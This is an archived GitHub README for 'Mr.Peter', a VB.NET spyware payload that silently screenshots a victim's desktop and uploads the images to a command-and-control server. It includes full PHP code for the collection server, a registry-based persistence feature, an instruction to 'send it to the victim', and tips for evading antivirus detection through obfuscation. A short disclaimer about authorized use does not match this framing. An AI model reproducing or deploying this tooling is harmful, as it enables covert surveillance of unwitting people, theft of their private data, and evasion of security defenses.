GitHub - mrfr05t/Mr.Peter: Silent Screenshot Capture | Post
Exploitation Payload | VB.NET
By mrfr05t
Archived: 2026-04-05 19:25:09 UTC
forthebadge
Silent Screenshot Capture | Post Exploitation Payload | VB.NET
A simple payload to take the screenshot of victims desktop and upload it to the C&C.
Features:
Persistent (Using Registry Run Key)
Works in background
Less Code Less Bugs and Less Detection ;)
Deletes the screenshot from disk after upload it to C&C
C&C server in base64
https://github.com/mrfr05t/Mr.Peter
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Upload screenshots in organized way on C&C
No port forwarding needed! works with a single php file
[TODO] Machine Information
[TODO] Encryption
[TODO] Set interval remotely from C&C
Installation & Usage:
Clone this repository.
A webhosting i recommend namecheap
Goto your public_html folder and make new PHP file and put below code in it
<?php
$del = $_GET["dellog"];
$folder = $_GET["folder"];
mkdir($folder,0777);
$file = $_GET["path"];
if (!empty($_FILES["file"])){
move_uploaded_file($_FILES["file"]["tmp_name"],
 $file . "/" . $_FILES["file"]["name"]);
}
unlink($del);
?>
Open the project in Visual Studio and the edit below variable in source code
Dim server As String = BaseDecode1("your server address here in base64 encoded")
and edit this variable below as well
Dim php As String = "yourphpfilename.php?" & "folder="
Just compile it and send it to the victim thats all !!
Million Dollar Advice ;)
To Avoid Antivirus Detection
Change the app icon
Generate new GUID
Changes all the variables
Obfuscate the code using Obfuscar
Change the Assembly information
https://github.com/mrfr05t/Mr.Peter
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Donation:
If this tool has been useful for you, feel free to thank me by buying me a coffee :)
Disclaimer:
This tool is supposed to be used only on authorized systems. Any unauthorized use of this tool without
explicit permission is illegal.
License:
GNU GENERAL PUBLIC LICENSE
Source: https://github.com/mrfr05t/Mr.Peter
https://github.com/mrfr05t/Mr.Peter
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